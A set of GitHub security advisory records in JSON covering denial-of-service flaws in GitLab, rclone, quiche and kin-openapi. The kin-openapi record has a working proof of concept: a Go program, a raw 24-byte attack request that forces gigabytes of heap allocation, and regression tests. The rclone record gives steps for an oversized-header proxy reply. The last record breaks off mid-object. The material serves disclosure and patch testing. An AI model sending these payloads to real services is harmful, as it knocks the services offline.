{
  "affected": [],
  "aliases": [
    "CVE-2023-3246"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-06T13:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab EE/CE affecting all versions starting before 16.3.6, all versions starting from 16.4 before 16.4.2, all versions starting from 16.5 before 16.5.1 which allows an attackers to block Sidekiq job processor.",
  "id": "GHSA-xh7q-hg94-4g3m",
  "modified": "2023-11-06T15:30:31Z",
  "published": "2023-11-06T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3246"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2014157"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/415371"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.74.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rclone/rclone"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.75.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-71310"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-05T20:17:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## 1. Summary\n\nThe shared HTTP CONNECT helper parses a proxy response with `http.ReadResponse` over an unrestricted buffered reader. The production helper accepted a valid response containing a 2 MiB header in three consecutive runs. A malicious or compromised configured proxy, or an active on-path actor controlling a plaintext HTTP-proxy hop, can grow memory until the process fails.\n\nThe security impact is process-wide exhaustion, not loss of access through the malicious proxy, which the proxy already controls. The victim must configure and use the proxy, so UI is Required and the rating is Medium.\n\n## 2. Affected Assets \u0026 Attack Surface\n\n- Verified rclone revision: `a0c09f1381ae93e2a9a33c529d170186c61ad058` (`v1.74.0-240-ga0c09f138`)\n- Current-master check: `lib/proxy/http.go` was unchanged at master commit `961266888fe797390c535386f3b3aa46f4853602` on 2026-07-18\n- Shared helper: `lib/proxy/http.go:23-81`\n- SFTP use: `backend/sftp/ssh_internal.go:25-45`\n- FTP use: `backend/ftp/ftp.go:465-479`\n- Proxy peer: configured malicious/compromised proxy or active on-path actor for a plaintext HTTP proxy\n- TLS boundary: HTTPS proxy connections authenticate the proxy before this response is parsed, so an on-path actor must also defeat TLS\n\n## 3. Technical Root Cause Analysis\n\n`HTTPConnectDial` invokes `http.ReadResponse(br, req)` directly. This call does not inherit `http.Transport.MaxResponseHeaderBytes`. In the Go implementation used for validation, exported `textproto.Reader.ReadMIMEHeader` passes `math.MaxInt64` limits, and `textproto.NewReader` explicitly instructs callers to use `io.LimitReader` or an equivalent bound for denial-of-service resistance. Rclone supplies no bound or total CONNECT-handshake deadline. The helper additionally returns the raw connection, so a safe remediation must preserve any tunnel bytes already buffered after the CONNECT response.\n\n## 4. Proof-of-Concept \u0026 Evidence\n\n1. Configure the helper to use a test proxy.\n2. Accept rclone\u0027s CONNECT request.\n3. Return `HTTP/1.1 200 Connection Established` with an `X-Fill` header containing 2 MiB of data.\n4. The actual helper parses and accepts the entire response without a fixed ceiling; this succeeded in all three reruns.\n\nThe test establishes unbounded parsing behavior without intentionally exhausting the host.\n\n## 5. Impact Assessment\n\nLarge or concurrent CONNECT responses can terminate the rclone process and interrupt unrelated FTP/SFTP remotes and mounts. Runtime OOM cannot be contained by RC panic recovery. SFTP reaches this parser before SSH server authentication, so target host-key validation does not constrain a malicious proxy; HTTPS proxy authentication does constrain ordinary on-path attackers.\n\n## 6. Remediation Guidance\n\n- Enforce a total CONNECT status/header budget before parsing.\n- Add a fixed total handshake deadline as well as idle deadlines.\n- Close the connection on an oversized or malformed response.\n- Return a wrapper that consumes already buffered post-response tunnel bytes before the raw connection.\n- Test large single/multiple headers, slow streaming, and concurrent handshakes.",
  "id": "GHSA-xhf4-832v-7xcr",
  "modified": "2026-08-05T20:17:52Z",
  "published": "2026-08-05T20:17:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/security/advisories/GHSA-xhf4-832v-7xcr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/commit/21d8cd3b92cd81d987f485051d454ea675d91a2b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rclone/rclone"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rclone/rclone/releases/tag/v1.75.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "rclone: Unbounded HTTP CONNECT Response Headers Can Exhaust rclone Memory"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "quiche"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.19.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "quiche"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.20.0"
            },
            {
              "fixed": "0.20.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1410"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-13T15:38:21Z",
    "nvd_published_at": "2024-03-12T18:15:07Z",
    "severity": "LOW"
  },
  "details": "### Impact\n\nCloudflare quiche was discovered to be vulnerable to unbounded storage of information related to connection ID retirement, which could lead to excessive resource consumption. Each QUIC connection possesses a set of connection Identifiers (IDs); see [RFC 9000 Section 5.1](https://datatracker.ietf.org/doc/html/rfc9000#section-5.1). Endpoints declare the number of active connection IDs they are willing to support using the active_connection_id_limit transport parameter. The peer can create new IDs using a NEW_CONNECTION_ID frame but must stay within the active ID limit. This is done by retirement of old IDs, the endpoint sends NEW_CONNECTION_ID includes a value in the retire_prior_to field, which elicits a RETIRE_CONNECTION_ID frame as confirmation. An unauthenticated remote attacker can exploit the vulnerability by sending NEW_CONNECTION_ID frames and manipulating the connection (e.g. by restricting the peer\u0027s congestion window size) so that RETIRE_CONNECTION_ID frames can only be sent at a slower rate than they are received, leading to storage of information related to connection IDs in an unbounded queue. \n\n### Patches\n\nQuiche versions 0.19.2 and 0.20.1 are the earliest to address this problem. There is no workaround for affected versions.",
  "id": "GHSA-xhg9-xwch-vr7x",
  "modified": "2024-03-13T15:38:21Z",
  "published": "2024-03-13T15:38:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/quiche/security/advisories/GHSA-xhg9-xwch-vr7x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1410"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/quiche/commit/0c5733a84c41e9e178adc866b11ce59ac264f5af"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/quiche/commit/5be8143126f8cfa8a483d4a5ae475b9a46053fa1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/quiche/commit/7ab42af5f5e97f20f1d63b7ea2f9ab0536678c40"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/quiche/commit/a983998c4408605905ee9a6ab0fc00e68436ac67"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudflare/quiche"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/quiche/releases/tag/0.19.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/quiche/releases/tag/0.20.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "quiche vulnerable to unbounded storage of information related to connection ID retirement"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.124.0"
            },
            {
              "fixed": "0.142.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:56:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index \u2014 *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k)          // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k                          // max = attacker\u0027s index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ {              // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil)     // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr))   // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps \u2014 with **no upper bound** other than `strconv.Atoi`\u0027s `int` range (~9.2\u00d710\u00b9\u2078 on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects \u2014 and rejects \u2014 the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec \u2014 it is exactly the pattern the library\u0027s own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** \u2014 one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        \u0027200\u0027: {description: ok}\n```\n\n**2. Program** \u2014 build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router \u2192 `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection \u2014 proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000\u00d7 |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000\u00d7 |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000\u00d7 |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000\u00d7 |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000\u00d7 |\n\n**Attack request** (nothing else required \u2014 no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** \u2014 a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest:    req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /b:\n    post:\n      requestBody:\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /p/{param}:\n    get:\n      parameters:\n        - name: param\n          in: path\n          required: true\n          style: simple\n          explode: false\n          schema:\n            type: object\n            properties:\n              items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 \u2192 937.5 KiB through 50,000,000 \u2192 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired \u2014 both matching the standalone PoC\u0027s findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21\u201324 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery \u2014 the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB\u20132 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).",
  "id": "GHSA-xhj3-7xw9-vr34",
  "modified": "2026-08-21T20:56:56Z",
  "published": "2026-08-21T20:56:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.142.0"
    }
  ],
